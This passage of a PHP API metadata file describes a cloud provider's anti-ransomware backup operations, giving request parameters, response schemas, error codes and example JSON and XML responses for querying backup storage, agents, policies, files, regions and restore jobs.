'int64', 'example' => '2276332666880', ], 'UsageStorageByte' => [ 'description' => 'The total anti-ransomware capacity that is used. Unit: bytes.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '839621565853', ], 'EcsUsageStorageByte' => [ 'description' => 'The storage capacity that is occupied by the backup data of your servers. Unit: bytes.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '817262417803', ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"33C2CCFF-4BF8-5F88-9B5C-22F932F80E5A\\",\\n \\"BackupStorageCount\\": {\\n \\"Overflow\\": 0,\\n \\"UniUsageStorageByte\\": 7453049350,\\n \\"BuyStorageByte\\": 2276332666880,\\n \\"UsageStorageByte\\": 839621565853,\\n \\"EcsUsageStorageByte\\": 817262417803\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n 33C2CCFF-4BF8-5F88-9B5C-22F932F80E5A\\n \\n 0\\n 7453049350\\n 2276332666880\\n 839621565853\\n 817262417803\\n \\n","errorExample":""}]', 'title' => 'GetBackupStorageCount', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeBackupClients' => [ 'summary' => 'Queries the servers on which the anti-ransomware agent is installed in a specified region.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SupportRegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region in which the anti-ransomware feature is supported.'."\n" .'> You can call the [DescribeSupportRegion](~~DescribeSupportRegion~~) operation to query the regions in which the anti-ransomware feature is supported.', 'type' => 'string', 'required' => true, 'example' => 'cn-hangzhou', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'E3ED094C-9EB7-4239-962B-D0FB3D5F23C7', ], 'Clients' => [ 'description' => 'An array that consists of the information about the anti-ransomware agent.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the server on which the anti-ransomware agent is installed.'."\n", 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the Elastic Compute Service (ECS) instance on which the anti-ransomware agent is installed.'."\n", 'type' => 'string', 'example' => '22f6550d-f294-449b-b6e6-90638fd1****', ], 'InstanceId' => [ 'description' => 'The ID of the ECS instance on which the anti-ransomware agent is installed.'."\n", 'type' => 'string', 'example' => 'i-bp15hyph4aci99dv****', ], 'ClientStatus' => [ 'description' => 'The status of the anti-ransomware agent.'."\n" ."\n" .'Valid values:'."\n" ."\n" .'* **INSTALLING**: The agent is being installed.'."\n" .'* **ONLINE**: The agent is online.'."\n" .'* **UNINSTALLING**: The agent is being uninstalled.'."\n" .'* **NOT_INSTALLED**: The agent is not installed.'."\n" .'* **ACTIVATED**: The agent is enabled.'."\n" .'* **CLIENT\\_CONNECTION_ERROR**: A connection error occurs on the agent.', 'type' => 'string', 'example' => 'ONLINE', ], 'ClientId' => [ 'description' => 'The ID of the anti-ransomware agent.'."\n", 'type' => 'string', 'example' => 'c-000az2f537r73dyh****', ], 'ClientVersion' => [ 'description' => 'The version of the anti-ransomware agent.'."\n", 'type' => 'string', 'example' => '2.0.0', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"E3ED094C-9EB7-4239-962B-D0FB3D5F23C7\\",\\n \\"Clients\\": [\\n {\\n \\"Uuid\\": \\"22f6550d-f294-449b-b6e6-90638fd1****\\",\\n \\"InstanceId\\": \\"i-bp15hyph4aci99dv****\\",\\n \\"ClientStatus\\": \\"ONLINE\\",\\n \\"ClientId\\": \\"c-000az2f537r73dyh****\\",\\n \\"ClientVersion\\": \\"2.0.0\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n E3ED094C-9EB7-4239-962B-D0FB3D5F23C7\\n \\n 22f6550d-f294-449b-b6e6-90638fd1****\\n i-bp15hyph4aci99dv****\\n ONLINE\\n c-000az2f537r73dyh****\\n \\n","errorExample":""}]', 'title' => 'DescribeBackupClients', 'description' => 'You can call the DescribeBackupClients operation to query the servers on which the anti-ransomware agent is installed in a specified region.'."\n", 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeBackupPolicies' => [ 'summary' => 'Queries anti-ransomware policies.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92004', 'abilityTreeNodes' => [ 'FEATUREsas7JO011', ], ], 'parameters' => [ [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The name of the anti-ransomware policy that you want to query.'."\n", 'type' => 'string', 'required' => false, 'example' => 'SecurityStrategy-20200303', ], ], [ 'name' => 'MachineRemark', 'in' => 'query', 'schema' => [ 'description' => 'The information that you want to use to identify the servers protected by the anti-ransomware policy. You can enter the IP address or ID of a server.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.1.XX.XX', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The status of the anti-ransomware policy. Valid values:'."\n" ."\n" .'* **enabled**: The anti-ransomware policy is manually enabled.'."\n" .'* **disabled**: The anti-ransomware policy is manually disabled. After an anti-ransomware policy is disabled, the data backup task that is running based on the policy stops.'."\n" .'* **closed**: The anti-ransomware policy automatically stops because the anti-ransomware capacity is insufficient.'."\n", 'type' => 'string', 'required' => false, 'example' => 'enabled', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 10.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '10', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578ABF384', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: 10.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'TotalCount' => [ 'description' => 'The total number of anti-ransomware policies returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '30', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], ], ], 'Policies' => [ 'description' => 'The details of the anti-ransomware policy.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'ClientErrorCount' => [ 'description' => 'The number of the servers on which the anti-ransomware agent is in an abnormal state.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'Status' => [ 'description' => 'The status of the anti-ransomware policy. Valid values:'."\n" ."\n" .'* **enabled**: The anti-ransomware policy is manually enabled.'."\n" .'* **disabled**: The anti-ransomware policy is manually disabled. After an anti-ransomware policy is disabled, the data backup task that is running based on the policy stops.'."\n" .'* **closed**: The anti-ransomware policy automatically stops because the anti-ransomware capacity is insufficient.'."\n", 'type' => 'string', 'example' => 'enabled', ], 'PolicyVersion' => [ 'description' => 'The version of the anti-ransomware policy. Valid values:'."\n" ."\n" .'* 1.0.0'."\n" .'* 2.0.0'."\n", 'type' => 'string', 'example' => '2.0.0', ], 'Policy' => [ 'description' => 'The configurations of the anti-ransomware policy. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* **IsDefault**: the type of the anti-ransomware policy. Valid values:'."\n" ."\n" .' * **1**: recommended policy'."\n" .' * **0**: custom policy'."\n" ."\n" .'* **Include**: the format of the files that are protected. If the value of this field is \\[], all formats of files are protected.'."\n" ."\n" .'* **Source**: the directory that is protected. If the value of this field is \\[], all directories are protected.'."\n" ."\n" .'* **ExcludeSystemPath**: indicates whether a specified directory is excluded from the anti-ransomware policy. If the value of this field is **true**, a directory is excluded. If this field is left empty, no directories are excluded.'."\n" ."\n" .'* **Exclude**: the directory that is excluded from the anti-ransomware policy. If the value of this field is \\[], no directories are excluded.'."\n" ."\n" .'* **Schedule**: the start time and interval of a data backup task. We recommend that you specify a start time that begins during off-peak hours but does not start on the hour. Examples:'."\n" ."\n" .' * If the value of this field is I|1583216092|P21D, the data backup task starts from 2020-03-03 14:14:52, and the task is run at an interval of three weeks.'."\n" .' * If the value of this field is I|1583216092|PT24H, the data backup task starts from 2020-03-03 14:14:52, and the task is run at an interval of 24 hours.'."\n" ."\n" .'* **Retention**: the period during which backup data is retained. Unit: days. If the value of this field is 7, backup data is retained for a week. If the value of this field is 365, backup data is retained for a year. If the value of this field is -1, backup data is permanently retained.'."\n" ."\n" .'* **SpeedLimiter**: the limit on the network bandwidth for data backup tasks. If the value of this field is 0:24:30720, the maximum bandwidth for a data backup task is 30 MB/s from 00:00 to 24:00.'."\n" ."\n" .'* **UseVss**: indicates whether the VSS feature is enabled. The feature is available only for Windows servers. Valid values:'."\n" ."\n" .' * **true**'."\n" .' * **false**'."\n" ."\n" .'> The VSS feature is available only if you create the anti-ransomware policy for Windows servers. After you enable the feature, the number of backup failures due to running processes is significantly reduced. We recommend that you enable the VSS feature. After you enable the feature, the data of disks that are in the exFAT and FAT32 formats cannot be backed up.'."\n", 'type' => 'string', 'example' => '{"Exclude":["/bin/","/usr/bin/","/sbin/","/boot/","/proc/","/sys/","/srv/","/lib/","/selinux/","/usr/sbin/","/run/","/lib32/","/lib64/","/lost+found/","/var/lib/kubelet/","/var/lib/ntp/proc","/var/lib/container","Windows\\\\","Python27\\\\","Program Files (x86)\\\\","Program Files\\\\","Boot\\\\","$RECYCLE.BIN","System Volume Information\\\\","Users\\\\Administrator\\\\NTUSER.DAT*","ProgramData\\\\","pagefile.sys","Users\\\\Default\\\\NTUSER.DAT*","Users\\\\Administrator\\\\ntuser.*"],"ExcludeSystemPath":true,"Include":[],"IsDefault":1,"Retention":7,"Schedule":"I|1630689360|PT24H","Source":[],"SpeedLimiter":"","UseVss":true}', ], 'UpgradeStatus' => [ 'description' => 'The upgrade status of the anti-ransomware policy. Valid values:'."\n" ."\n" .'* **NotUpgraded**'."\n" .'* **Upgrading**'."\n" .'* **UpgradeFailed**'."\n" .'* **UpgradeSuccess**'."\n", 'type' => 'string', 'example' => 'Upgrading', ], 'ServiceErrorCount' => [ 'description' => 'The number of servers on which data backup is exceptional.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'PolicyRegionId' => [ 'description' => 'The ID of the region that you specified for data backup when you installed the anti-ransomware agent for the server not deployed on Alibaba Cloud.'."\n", 'type' => 'string', 'example' => 'ch-hangzhou', ], 'ClientStatus' => [ 'description' => 'The status of the anti-ransomware agent. Valid values:'."\n" ."\n" .'* **running**: normal'."\n" .'* **exception**: abnormal'."\n", 'type' => 'string', 'example' => 'running', ], 'Name' => [ 'description' => 'The name of the anti-ransomware policy.'."\n", 'type' => 'string', 'example' => 'SecurityStrategy-20200303', ], 'HealthClientCount' => [ 'description' => 'The number of the servers on which the anti-ransomware agent is in a normal state.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'Id' => [ 'description' => 'The ID of the anti-ransomware policy.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '11', ], 'ClientErrorUuidList' => [ 'description' => 'The UUIDs of the servers on which the anti-ransomware agent is in an **abnormal** state.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID of the server on which the anti-ransomware agent is in an **abnormal** state.'."\n", 'type' => 'string', 'example' => '["3bb30859-b3b5-4f28-868f-b0892c98****","3bb30859-b3b5-4f28-868f-b0892c98****"]', ], ], 'RemarkedUuidList' => [ 'description' => 'The UUIDs that are returned based on the value of the MachineRemark request parameter.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID that is returned based on the value of the MachineRemark request parameter.'."\n", 'type' => 'string', 'example' => '["3bb30859-b3b5-4f28-868f-b0892c98****","3bb30859-b3b5-4f28-868f-b0892c98****"]', ], ], 'UuidList' => [ 'description' => 'The UUIDs of the servers to which the anti-ransomware policy is applied.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID of the server to which the anti-ransomware policy is applied.'."\n", 'type' => 'string', 'example' => '["3bb30859-b3b5-4f28-868f-b0892c98****","3bb30859-b3b5-4f28-868f-b0892c98****"]', ], ], 'ServiceErrorUuidList' => [ 'description' => 'The UUIDs of the servers on which data backup is exceptional.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID of the server on which data backup is exceptional.'."\n", 'type' => 'string', 'example' => '["3bb30859-b3b5-4f28-868f-b0892c98****","3bb30859-b3b5-4f28-868f-b0892c98****"]', ], ], 'HealthClientUuidList' => [ 'description' => 'The UUIDs of the servers on which the anti-ransomware agent is in a **normal** state.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID of the server on which the anti-ransomware agent is in a **normal** state.'."\n", 'type' => 'string', 'example' => '["3bb30859-b3b5-4f28-868f-b0892c98****","3bb30859-b3b5-4f28-868f-b0892c98****"]', ], ], 'ServerType' => [ 'description' => 'The type of the server. Valid values:'."\n" ."\n" .'* **OUT_CLOUD**: server not deployed on Alibaba Cloud'."\n" .'* **ALIYUN**: Elastic Compute Service (ECS) instance'."\n" .'* **TRIPARTITE**: simple application server'."\n", 'type' => 'string', 'example' => 'OUT_CLOUD', ], 'LastStatusSyncTime' => [ 'description' => 'The time when the anti-ransomware policy was last updated. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1719488535027', ], 'PreStatus' => [ 'description' => 'The previous status of the anti-ransomware policy. Valid values:'."\n" ."\n" .'* **enabled**: The anti-ransomware policy is manually enabled.'."\n" .'* **disabled**: The anti-ransomware policy is manually disabled. After an anti-ransomware policy is disabled, the data backup task that is running based on the policy stops.'."\n" .'* **closed**: The anti-ransomware policy automatically stops because the anti-ransomware capacity is insufficient.'."\n", 'type' => 'string', 'example' => 'disabled', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578ABF384\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 30,\\n \\"Count\\": 3\\n },\\n \\"Policies\\": [\\n {\\n \\"ClientErrorCount\\": 2,\\n \\"Status\\": \\"enabled\\",\\n \\"PolicyVersion\\": \\"2.0.0\\",\\n \\"Policy\\": \\"{\\\\\\"Exclude\\\\\\":[\\\\\\"/bin/\\\\\\",\\\\\\"/usr/bin/\\\\\\",\\\\\\"/sbin/\\\\\\",\\\\\\"/boot/\\\\\\",\\\\\\"/proc/\\\\\\",\\\\\\"/sys/\\\\\\",\\\\\\"/srv/\\\\\\",\\\\\\"/lib/\\\\\\",\\\\\\"/selinux/\\\\\\",\\\\\\"/usr/sbin/\\\\\\",\\\\\\"/run/\\\\\\",\\\\\\"/lib32/\\\\\\",\\\\\\"/lib64/\\\\\\",\\\\\\"/lost+found/\\\\\\",\\\\\\"/var/lib/kubelet/\\\\\\",\\\\\\"/var/lib/ntp/proc\\\\\\",\\\\\\"/var/lib/container\\\\\\",\\\\\\"Windows\\\\\\\\\\\\\\\\\\\\\\",\\\\\\"Python27\\\\\\\\\\\\\\\\\\\\\\",\\\\\\"Program Files (x86)\\\\\\\\\\\\\\\\\\\\\\",\\\\\\"Program Files\\\\\\\\\\\\\\\\\\\\\\",\\\\\\"Boot\\\\\\\\\\\\\\\\\\\\\\",\\\\\\"$RECYCLE.BIN\\\\\\",\\\\\\"System Volume Information\\\\\\\\\\\\\\\\\\\\\\",\\\\\\"Users\\\\\\\\\\\\\\\\Administrator\\\\\\\\\\\\\\\\NTUSER.DAT*\\\\\\",\\\\\\"ProgramData\\\\\\\\\\\\\\\\\\\\\\",\\\\\\"pagefile.sys\\\\\\",\\\\\\"Users\\\\\\\\\\\\\\\\Default\\\\\\\\\\\\\\\\NTUSER.DAT*\\\\\\",\\\\\\"Users\\\\\\\\\\\\\\\\Administrator\\\\\\\\\\\\\\\\ntuser.*\\\\\\"],\\\\\\"ExcludeSystemPath\\\\\\":true,\\\\\\"Include\\\\\\":[],\\\\\\"IsDefault\\\\\\":1,\\\\\\"Retention\\\\\\":7,\\\\\\"Schedule\\\\\\":\\\\\\"I|1630689360|PT24H\\\\\\",\\\\\\"Source\\\\\\":[],\\\\\\"SpeedLimiter\\\\\\":\\\\\\"\\\\\\",\\\\\\"UseVss\\\\\\":true}\\",\\n \\"UpgradeStatus\\": \\"Upgrading\\",\\n \\"ServiceErrorCount\\": 2,\\n \\"PolicyRegionId\\": \\"ch-hangzhou\\",\\n \\"ClientStatus\\": \\"running\\",\\n \\"Name\\": \\"SecurityStrategy-20200303\\",\\n \\"HealthClientCount\\": 2,\\n \\"Id\\": 11,\\n \\"ClientErrorUuidList\\": [\\n \\"[\\\\\\"3bb30859-b3b5-4f28-868f-b0892c98****\\\\\\",\\\\\\"3bb30859-b3b5-4f28-868f-b0892c98****\\\\\\"]\\"\\n ],\\n \\"RemarkedUuidList\\": [\\n \\"[\\\\\\"3bb30859-b3b5-4f28-868f-b0892c98****\\\\\\",\\\\\\"3bb30859-b3b5-4f28-868f-b0892c98****\\\\\\"]\\"\\n ],\\n \\"UuidList\\": [\\n \\"[\\\\\\"3bb30859-b3b5-4f28-868f-b0892c98****\\\\\\",\\\\\\"3bb30859-b3b5-4f28-868f-b0892c98****\\\\\\"]\\"\\n ],\\n \\"ServiceErrorUuidList\\": [\\n \\"[\\\\\\"3bb30859-b3b5-4f28-868f-b0892c98****\\\\\\",\\\\\\"3bb30859-b3b5-4f28-868f-b0892c98****\\\\\\"]\\"\\n ],\\n \\"HealthClientUuidList\\": [\\n \\"[\\\\\\"3bb30859-b3b5-4f28-868f-b0892c98****\\\\\\",\\\\\\"3bb30859-b3b5-4f28-868f-b0892c98****\\\\\\"]\\"\\n ],\\n \\"ServerType\\": \\"OUT_CLOUD\\",\\n \\"LastStatusSyncTime\\": 1719488535027,\\n \\"PreStatus\\": \\"disabled\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeBackupPolicies', ], 'DescribeBackupFiles' => [ 'summary' => 'Queries backup files.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server to which an anti-ransomware policy is applied.'."\n", 'type' => 'string', 'required' => true, 'example' => '6d5b361f-958d-48a8-a9d2-d6e82c1a****', ], ], [ 'name' => 'Path', 'in' => 'query', 'schema' => [ 'description' => 'The path to the backup file.'."\n", 'type' => 'string', 'required' => false, 'example' => '“”', ], ], [ 'name' => 'SnapshotHash', 'in' => 'query', 'schema' => [ 'description' => 'The hash value of the backup file.'."\n", 'type' => 'string', 'required' => true, 'example' => 'a7f26223ef3974c6fac324cd37713ab65ab618859d20b4039192a5da44d77b63', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'string', 'deprecated' => false, 'required' => true, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **10**.'."\n", 'type' => 'string', 'required' => true, 'example' => '10', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '00A60A6D-33E0-5D5A-9B7C-E5D4DCA88148', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: **10**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'TotalCount' => [ 'description' => 'The total number of backup files returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '69', ], 'Count' => [ 'description' => 'The number of backup files returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], ], ], 'BackupFiles' => [ 'description' => 'An array that consists of the backup files returned.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the protected file. Valid values:'."\n" ."\n" .'* **file**: files'."\n" .'* **dir**: folders'."\n", 'type' => 'string', 'example' => 'dir', ], 'Name' => [ 'description' => 'The name of the anti-ransomware policy.'."\n", 'type' => 'string', 'example' => 'Group 1', ], 'Subtree' => [ 'description' => 'The path to the subdirectory of the backup file.'."\n", 'type' => 'string', 'example' => 'Python27\\', ], 'Size' => [ 'description' => 'The size of the backup file. Unit: bytes.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '100', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"00A60A6D-33E0-5D5A-9B7C-E5D4DCA88148\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 69,\\n \\"Count\\": 10\\n },\\n \\"BackupFiles\\": [\\n {\\n \\"Type\\": \\"dir\\",\\n \\"Name\\": \\"Group 1\\",\\n \\"Subtree\\": \\"Python27\\\\\\\\\\",\\n \\"Size\\": 100\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 00A60A6D-33E0-5D5A-9B7C-E5D4DCA88148\\n \\n 1\\n 10\\n 69\\n 10\\n \\n \\n dir\\n Group 1\\n Python27\\\\\\n 100\\n \\n","errorExample":""}]', 'title' => 'DescribeBackupFiles', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeSupportRegion' => [ 'summary' => 'Queries the regions in which the anti-ransomware feature is supported.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '2C0699D3-4107-5A46-A4C4-E129A5967788', ], 'SupportRegion' => [ 'description' => 'List of supported regions', 'type' => 'array', 'items' => [ 'description' => 'The region in which the anti-ransomware feature is supported. Valid values:'."\n" ."\n" .'* **cn-beijing**: China (Beijing)'."\n" .'* **cn-zhangjiakou**: China (Zhangjiakou)'."\n" .'* **cn-huhehaote**: China (Hohhot)'."\n" .'* **cn-hangzhou**: China (Hangzhou)'."\n" .'* **cn-shanghai**: China (Shanghai)'."\n" .'* **cn-shenzhen**: China (Shenzhen)'."\n" .'* **cn-hongkong**: China (Hong Kong)'."\n" .'* **cn-north-2-gov-1**: China North 2 Ali Gov 1'."\n" .'* **ap-southeast-2**: Australia (Sydney) Closed Down'."\n" .'* **ap-southeast-5**: Indonesia (Jakarta)'."\n" .'* **eu-central-1**: Germany (Frankfurt)'."\n" .'* **us-west-1**: US (Silicon Valley)'."\n" .'* **cn-qingdao**: China (Qingdao)'."\n" .'* **ap-northeast-1**: Japan (Tokyo)'."\n" .'* **cn-shanghai-finance-1**: China East 2 Finance'."\n" .'* **us-east-1**: US (Virginia)'."\n" .'* **cn-chengdu**: China (Chengdu)'."\n" .'* **me-east-1**: UAE (Dubai)'."\n" .'* **cn-shenzhen-finance-1**: China South 1 Finance', 'type' => 'string', 'example' => 'cn-hangzhou', ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"2C0699D3-4107-5A46-A4C4-E129A5967788\\",\\n \\"SupportRegion\\": [\\n \\"cn-hangzhou\\"\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 2C0699D3-4107-5A46-A4C4-E129A5967788\\n cn-hangzhou\\n","errorExample":""}]', 'title' => 'DescribeSupportRegion', 'requestParamsDescription' => ' ', 'responseParamsDescription' => 'No description provided', 'extraInfo' => ' ', 'translator' => 'machine', ], 'DescribeUserBackupMachines' => [ 'summary' => 'Queries the information about the servers to which an anti-ransomware policy is applied.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'D0D6E6E4-CB8C-4897-B852-46AEFDA04B21', ], 'Machines' => [ 'description' => 'An array consisting of the servers to which the anti-ransomware policy is applied.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the server to which the anti-ransomware policy is applied.'."\n", 'type' => 'string', 'example' => 'D0D6E6E4-CB8C-4897-B852-46AEFDA0****', ], 'PolicyName' => [ 'description' => 'The name of the anti-ransomware policy that is applied to the server.'."\n", 'type' => 'string', 'example' => 'policy_name_A', ], 'Id' => [ 'description' => 'The ID of the anti-ransomware policy that is applied to the server.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '123', ], ], 'description' => '', ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"D0D6E6E4-CB8C-4897-B852-46AEFDA04B21\\",\\n \\"Machines\\": [\\n {\\n \\"Uuid\\": \\"D0D6E6E4-CB8C-4897-B852-46AEFDA0****\\",\\n \\"PolicyName\\": \\"policy_name_A\\",\\n \\"Id\\": 123\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\nD0D6E6E4-CB8C-4897-B852-46AEFDA04B21\\n\\n D0D6E6E4-CB8C-4897-B852-46AEFDA0****\\n policy_name_A\\n 123\\n\\n","errorExample":""}]', 'title' => 'DescribeUserBackupMachines', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeRestoreJobs' => [ 'summary' => 'Queries the details about restoration tasks.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92171', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The status of the restoration task. Valid values:'."\n" ."\n" .'* **RUNNING**: The task is running.'."\n" .'* **COMPLETE**: The task is complete.'."\n" .'* **FAILED**: The task fails.'."\n" .'* **CANCELING**: The task is being canceled.'."\n" .'* **CANCELED**: The task is canceled.'."\n" .'* **PARTIAL_COMPLETE**: The task is partially successful.'."\n" .'* **CREATED**: The task is created but is not run.'."\n" .'* **EXPIRED**: The task is not updated.'."\n" .'* **QUEUED**: The task is waiting to be run.'."\n" .'* **CLIENT_DELETED**: The task fails because the anti-ransomware agent is uninstalled.'."\n", 'type' => 'string', 'required' => false, 'example' => 'RUNNING', ], ], [ 'name' => 'MachineRemark', 'in' => 'query', 'schema' => [ 'description' => 'The unique identifier of the server on which the restoration task is run. For example, you can use the IP address or the name of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.1.XX.XX', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **10**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '10', ], ], [ 'name' => 'CurrentPage', 'in' 